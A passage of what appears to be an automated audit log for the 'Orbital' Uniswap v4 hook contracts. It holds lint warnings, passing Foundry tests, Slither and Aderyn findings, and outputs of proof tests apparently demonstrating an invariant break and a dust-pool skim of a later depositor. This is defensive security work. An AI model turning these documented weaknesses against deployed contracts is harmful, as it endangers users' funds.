// casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:76\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:30\n    │\n841 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:900:23\n    │\n900 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:971:29\n    │\n971 │             if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:174:68\n    │\n174 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:947:38\n    │\n947 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:192:26\n    │\n192 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1022:23\n     │\n1022 │         if (w < c.sb) revert BoundaryInverted();\n     │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1025:50\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                                  ━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:966:22\n    │\n966 │         int256 gap = int256(t.lv[l].kNorm) - OrbitalMath.alphaIntNorm(p.s, sqrtN, c); // plane − position\n    │                      ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:986:17\n    │\n986 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1001:32\n     │\n1001 │         uint256 qT = wT * wT + sT * sT / n;\n     │                                ━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1023:25\n     │\n1023 │         int256 xBound = int256(c.kb * WAD / sqrtN);\n     │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:31\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                               ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:47\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                               ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:62\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                                              ━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:79\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                                                               ━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1025:13\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │             ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1025:37\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                     ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":1162,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.13ms (899.61µs CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalReentrancyTest\n[PASS] test_hookActionsAreNonReentrant() (gas: 2340699)\n[PASS] test_swapInsideFeePayoutIsRefusedAndStateIsConsistent() (gas: 2885548)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 17.15ms (10.60ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployBroadcastTest\n[PASS] test_deployUnderBroadcast() (gas: 12474670)\n[PASS] test_deployWiresEverything() (gas: 28115335)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17849273)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 18.41ms (33.83ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFrozenCoinTest\n[PASS] test_redeemClaimsFailurePaths() (gas: 1108557)\n[PASS] test_withdrawAndFeesDeliverHealthyCoinsWhenOneIsFrozen() (gas: 2367600)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 22.41ms (4.05ms CPU time)\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 28115013)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17849212)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 23.82ms (43.73ms CPU time)\n\nRan 3 tests for test/OrbitalLiquidity.t.sol:OrbitalDustPoolTest\n[PASS] test_dustPoolDoesNotSkimLaterDepositors() (gas: 1739500)\n[PASS] test_fullExitClearsReservesSoTheNextPoolStartsClean() (gas: 1824529)\n[PASS] test_withdrawalLeavesAtLeastMinRadiusOrNothing() (gas: 768432)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 26.00ms (5.11ms CPU time)\n\nRan 21 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 29961)\n[PASS] test_callbackAdminAndPayment() (gas: 190182)\n[PASS] test_callbackConstructionAndHookBinding() (gas: 8239)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 179190)\n[PASS] test_callbackIgnoresOlderRounds() (gas: 335758)\n[PASS] test_callbackRefusesNonProxy() (gas: 42624)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 188452)\n[PASS] test_callbackSkipsWhenAlreadyPaused() (gas: 185664)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 383226)\n[PASS] test_inBandPriceDoesNothing() (gas: 87434)\n[PASS] test_latchRequestsOneCallbackPerExcursion() (gas: 347991)\n[PASS] test_nonPositivePriceTrips() (gas: 169228)\n[PASS] test_ownerResumeIsNotUndoneByTheSameExcursion() (gas: 238185)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 153018)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 68799)\n[PASS] test_reactRunsOnlyInTheReactVm() (gas: 364860)\n[PASS] test_reactVmCopyFollowsTheRotatedAggregator() (gas: 222499)\n[PASS] test_reactiveConfigValidation() (gas: 6387)\n[PASS] test_reactiveNetworkCopyManagesSubscriptionsAndFeedRotation() (gas: 1052386)\n[PASS] test_reactivePaymentHooks() (gas: 117826)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 87041)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 32.92ms (5.85ms CPU time)\n\nRan 1 test for test/OrbitalTicks.t.sol:OrbitalDeadlockRecoveryTest\n[PASS] test_interiorReopensOnThePinnedPlane() (gas: 7142174)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 46.34ms (8.69ms CPU time)\n\nRan 10 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 609350, ~: 624643)\n[PASS] testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321646, ~: 322214)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1631, ~: 1650)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepPicksTheRequestedImage() (gas: 15492)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 4991)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 178.17ms (297.62ms CPU time)\n\nRan 3 tests for test/OrbitalTicks.t.sol:OrbitalReturnTradeTest\n[PASS] testFuzz_randomActivityKeepsTicksConsistent(uint256) (runs: 256, μ: 12058660, ~: 12169481)\n[PASS] test_returnTradeThroughPegUnpinsAndRepins() (gas: 5075679)\n[PASS] test_tickOnItsPlaneRejoinsAfterDepositNudge() (gas: 60655317)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 950.69ms (1.02s CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFullExitTest\n[PASS] testFuzz_everyoneCanLeaveAfterRandomActivity(uint256) (runs: 256, μ: 11563923, ~: 11725931)\n[PASS] test_everyoneCanLeaveAfterMixedActivity() (gas: 8272686)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.05s (1.02s CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1707508, ~: 1724258)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2133719, ~: 2301399)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1577501, ~: 1415571)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 177662)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 606680)\n[PASS] test_constructorRejectsBadConfig() (gas: 6908840)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3370656)\n[PASS] test_depositRejectsBadInputs() (gas: 167867)\n[PASS] test_depositRespectsMaxAmounts() (gas: 180839)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1547538)\n[PASS] test_firstDepositOpensAtEqualPrice() (gas: 557427)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130777)\n[PASS] test_guardianCannotUnpause() (gas: 98888)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603760)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605625)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2516704)\n[PASS] test_ownerAdmin() (gas: 256569)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294706)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1736088)\n[PASS] test_permissionsMatchAddressBits() (gas: 16808)\n[PASS] test_roundTripNeverProfits() (gas: 1941799)\n[PASS] test_swapExactInNearPeg() (gas: 1819699)\n[PASS] test_swapExactOut() (gas: 1692557)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 134262)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1932839)\n[PASS] test_swapTooLargeReverts() (gas: 613684)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 69917)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1969434)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 653977)\n[PASS] test_withdrawReturnsDeposit() (gas: 1031114)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 1.05s (496.01ms CPU time)\n\nRan 12 test suites in 1.05s (3.42s CPU time): 85 tests passed, 0 failed, 0 skipped (85 total tests)\n","passed":true},{"durationMs":53,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setHook(address)\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.setFeed(address)\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.fallback()\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.redeemClaims(address,uint256,address)\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":403,\"foundry.toml\":23,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":103,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":1046,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":81,\"src/libraries/OrbitalMath.sol\":242,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":115,\"src/reactive/OrbitalDepegReactive.sol\":177,\"test/Deploy.t.sol\":87,\"test/OrbitalHook.t.sol\":562,\"test/OrbitalLiquidity.t.sol\":391,\"test/OrbitalMath.t.sol\":174,\"test/OrbitalTicks.t.sol\":235,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":483,\"test/mocks/HookableERC20.sol\":63,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/utils/BasketHarness.sol\":167,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2630,"exitCode":0,"name":"slither","output":"[medium/medium] divide-before-multiply at src/OrbitalHook.sol:327: OrbitalHook._price(uint8,uint8,bool,uint256) (src/OrbitalHook.sol#327-352) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/OrbitalHook.sol:993: OrbitalHook._toPlane(OrbitalHook.Level,OrbitalMath.Pair,OrbitalMath.Consolidated,bool) (src/OrbitalHook.sol#993-1003) performs a multiplication on the result of a division:\n[medium/medium] reentrancy-no-eth at src/OrbitalHook.sol:399: Reentrancy in OrbitalHook.withdraw(uint256,uint256,uint256[]) (src/OrbitalHook.sol#399-452):\n[medium/medium] reentrancy-no-eth at src/OrbitalHook.sol:359: Reentrancy in OrbitalHook.deposit(uint256,uint256,uint256[]) (src/OrbitalHook.sol#359-392):\n[medium/medium] uninitialized-local at src/OrbitalHook.sol:820: OrbitalHook._interiorPoint(OrbitalMath.Consolidated,uint256,uint256,uint256,bool).uu (src/OrbitalHook.sol#820) is a local variable never initialized\n[medium/medium] unused-return at src/OrbitalHook.sol:506: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532) ignores return value by poolManager.settle() (src/OrbitalHook.sol#515)\n[medium/medium] unused-return at src/OrbitalHook.sol:506: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532) ignores return value by poolManager.transfer(data.account,c.toId(),amount) (src/OrbitalHook.sol#526)\n[medium/medium] unused-return at src/OrbitalHook.sol:457: OrbitalHook.redeemClaims(address,uint256,address) (src/OrbitalHook.sol#457-467) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Redeem,account:to,amounts:amounts}))) (src/OrbitalHook.sol#465)\n[medium/medium] unused-return at src/OrbitalHook.sol:359: OrbitalHook.deposit(uint256,uint256,uint256[]) (src/OrbitalHook.sol#359-392) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Deposit,account:msg.sender,amounts:amounts}))) (src/OrbitalHook.sol#390)\n[medium/medium] unused-return at src/OrbitalHook.sol:457: OrbitalHook.redeemClaims(address,uint256,address) (src/OrbitalHook.sol#457-467) ignores return value by poolManager.transferFrom(msg.sender,address(this),uint256(uint160(token)),amount) (src/OrbitalHook.sol#462)\n[medium/medium] unused-return at src/OrbitalHook.sol:399: OrbitalHook.withdraw(uint256,uint256,uint256[]) (src/OrbitalHook.sol#399-452) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Withdraw,account:msg.sender,amounts:amounts}))) (src/OrbitalHook.sol#450)\n[medium/medium] unused-return at src/OrbitalHook.sol:476: OrbitalHook._settleFees(uint256,address) (src/OrbitalHook.sol#476-486) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Withdraw,account:lp,amounts:amounts}))) (src/OrbitalHook.sol#483)\n[low/medium] missing-zero-check at src/OrbitalHook.sol:563: OrbitalHook.setGuardian(address)._guardian (src/OrbitalHook.sol#563) lacks a zero-check on :\n[low/medium] missing-zero-check at src/OrbitalHook.sol:180: OrbitalHook.constructor(IPoolManager,address,address,address[],uint8[],uint256[],uint24)._guardian (src/OrbitalHook.sol#180) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:53: OrbitalDepegCallback.constructor(address,address,address)._rvmId (src/reactive/OrbitalDepegCallback.sol#53) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:109: OrbitalDepegCallback.withdraw(address,uint256).to (src/reactive/OrbitalDepegCallback.sol#109) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegReactive.sol:171: OrbitalDepegReactive.withdraw(address,uint256).to (src/reactive/OrbitalDepegReactive.sol#171) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:90: OrbitalDepegCallback.setRvmId(address)._rvmId (src/reactive/OrbitalDepegCallback.sol#90) lacks a zero-check on :\n[low/medium] calls-loop at src/OrbitalHook.sol:506: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532) has external calls inside a loop: poolManager.burn(address(this),c.toId(),amount) (src/OrbitalHook.sol#523)\n[low/medium] calls-loop at src/OrbitalHook.sol:506: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532) has external calls inside a loop: poolManager.mint(address(this),c.toId(),amount) (src/OrbitalHook.sol#516)\n[low/medium] calls-loop at src/OrbitalHook.sol:506: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532) has external calls inside a loop: poolManager.transfer(data.account,c.toId(),amount) (src/OrbitalHook.sol#526)\n[low/medium] calls-loop at src/OrbitalHook.sol:535: OrbitalHook._claimBalance(uint256) (src/OrbitalHook.sol#535-537) has external calls inside a loop: poolManager.balanceOf(address(this),uint256(uint160(_tokens[k]))) (src/OrbitalHook.sol#536)\n[low/medium] calls-loop at src/OrbitalHook.sol:506: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532) has external calls inside a loop: poolManager.sync(c) (src/OrbitalHook.sol#513)\n[low/medium] calls-loop at src/OrbitalHook.sol:535: OrbitalHook._claimBalance(uint256) (src/OrbitalHook.sol#535-537) has external calls inside a loop: poolManager.balanceOf(address(this),uint256(uint160(_tokens[k]))) (src/OrbitalHook.sol#536)\n[low/medium] calls-loop at src/OrbitalHook.sol:506: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532) has external calls inside a loop: poolManager.take(c,data.account,amount) (src/OrbitalHook.sol#522-528)\n[low/medium] calls-loop at src/OrbitalHook.sol:535: OrbitalHook._claimBalance(uint256) (src/OrbitalHook.sol#535-537) has external calls inside a loop: poolManager.balanceOf(address(this),uint256(uint160(_tokens[k]))) (src/OrbitalHook.sol#536)\n[low/medium] calls-loop at src/OrbitalHook.sol:1042: OrbitalHook._safeTransferFrom(address,address,address,uint256) (src/OrbitalHook.sol#1042-1045) has external calls inside a loop: (ok,ret) = token.call(abi.encodeWithSelector(0x23b872dd,from,to,amount)) (src/OrbitalHook.sol#1043)\n[low/medium] calls-loop at src/OrbitalHook.sol:535: OrbitalHook._claimBalance(uint256) (src/OrbitalHook.sol#535-537) has external calls inside a loop: poolManager.balanceOf(address(this),uint256(uint160(_tokens[k]))) (src/OrbitalHook.sol#536)\n[low/medium] calls-loop at src/OrbitalHook.sol:506: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532) has external calls inside a loop: poolManager.settle() (src/OrbitalHook.sol#515)\n[low/medium] reentrancy-benign at src/OrbitalHook.sol:399: Reentrancy in OrbitalHook.withdraw(uint256,uint256,uint256[]) (src/OrbitalHook.sol#399-452):\n[low/medium] reentrancy-benign at src/OrbitalHook.sol:359: Reentrancy in OrbitalHook.deposit(uint256,uint256,uint256[]) (src/OrbitalHook.sol#359-392):\n[low/medium] reentrancy-events at src/reactive/OrbitalDepegCallback.sol:65: Reentrancy in OrbitalDepegCallback.depeg(address,address,int256,uint256) (src/reactive/OrbitalDepegCallback.sol#65-80):\n[low/medium] reentrancy-events at src/OrbitalHook.sol:506: Reentrancy in OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#506-532):\n[low/medium] reentrancy-events at src/reactive/OrbitalDepegReactive.sol:141: Reentrancy in OrbitalDepegReactive.setFeed(address) (src/reactive/OrbitalDepegReactive.sol#141-151):","passed":true},{"durationMs":631,"exitCode":0,"name":"aderyn","output":"[high] storage-array-memory-edit at src/OrbitalHook.sol:631: Storage Array Edited with Memory (3 places)\n[high] unsafe-casting at src/OrbitalHook.sol:305: Unsafe Casting of integers (2 places)\n[low] centralization-risk at src/OrbitalHook.sol:550: Centralization Risk (13 places)\n[low] costly-loop at src/OrbitalHook.sol:376: Costly operations inside loop (5 places)\n[low] internal-function-used-once at src/HookFlags.sol:29: Internal Function Used Only Once (4 places)\n[low] large-numeric-literal at src/OrbitalHook.sol:38: Large Numeric Literal (5 places)\n[low] literal-instead-of-constant at src/OrbitalHook.sol:203: Literal Instead of Constant (22 places)\n[low] missing-inheritance at src/OrbitalToken.sol:9: Missing Inheritance\n[low] modifier-used-only-once at src/OrbitalHook.sol:155: Modifier Invoked Only Once\n[low] require-revert-in-loop at src/OrbitalHook.sol:376: Loop Contains `require`/`revert` (5 places)\n[low] state-no-address-check at src/OrbitalHook.sol:194: Address State Variable Set Without Checks (5 places)\n[low] state-variable-could-be-immutable at src/OrbitalHook.sol:88: State Variable Could Be Immutable (2 places)\n[low] storage-array-length-not-cached at src/OrbitalHook.sol:1036: Storage Array Length not Cached\n[low] unchecked-return at src/OrbitalHook.sol:372: Unchecked Return (9 places)\n[low] unsafe-erc20-operation at src/OrbitalHook.sol:526: Unsafe ERC20 Operation","passed":true},{"durationMs":2648,"exitCode":0,"name":"proof 32dbeebc4bc4","output":"Compiling 84 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.97s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-12046592/Proof_32dbeebc4bc4.t.sol:TorusBreakTest\n[PASS] test_returnTradeThroughPegMustNotBreakTheTorus() (gas: 3151353)\nLogs:\n  invariant after return trade: -3125883678639529934693478561656329395\n  invariant after deposit: -5470327953201345337826973131949676967\n  r_int: 7000000000000000000000000\n  B quoted for 1 wei of A: 676730779843\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 44.51ms (3.52ms CPU time)\n\nRan 1 test suite in 45.11ms (44.51ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":2053,"exitCode":0,"name":"proof 37d223272304","output":"2026-10-01T19:43:51.880944Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-xAHhiJ/repo/test/imd-proof-12046592/Proof_32dbeebc4bc4.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.48s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-4fedd247/Proof_37d223272304.t.sol:DustSkimTest\n[PASS] test_dustPoolMustNotSkimLaterDepositors() (gas: 1671254)\nLogs:\n  attacker paid A (wei): 292842197077116973\n  attacker paid C (raw): 292843\n  invariant after donation: -70682395997501999589214380\n  victim paid A (wei): 292842197102106972239826\n  A received for 1 raw unit of C (wei): 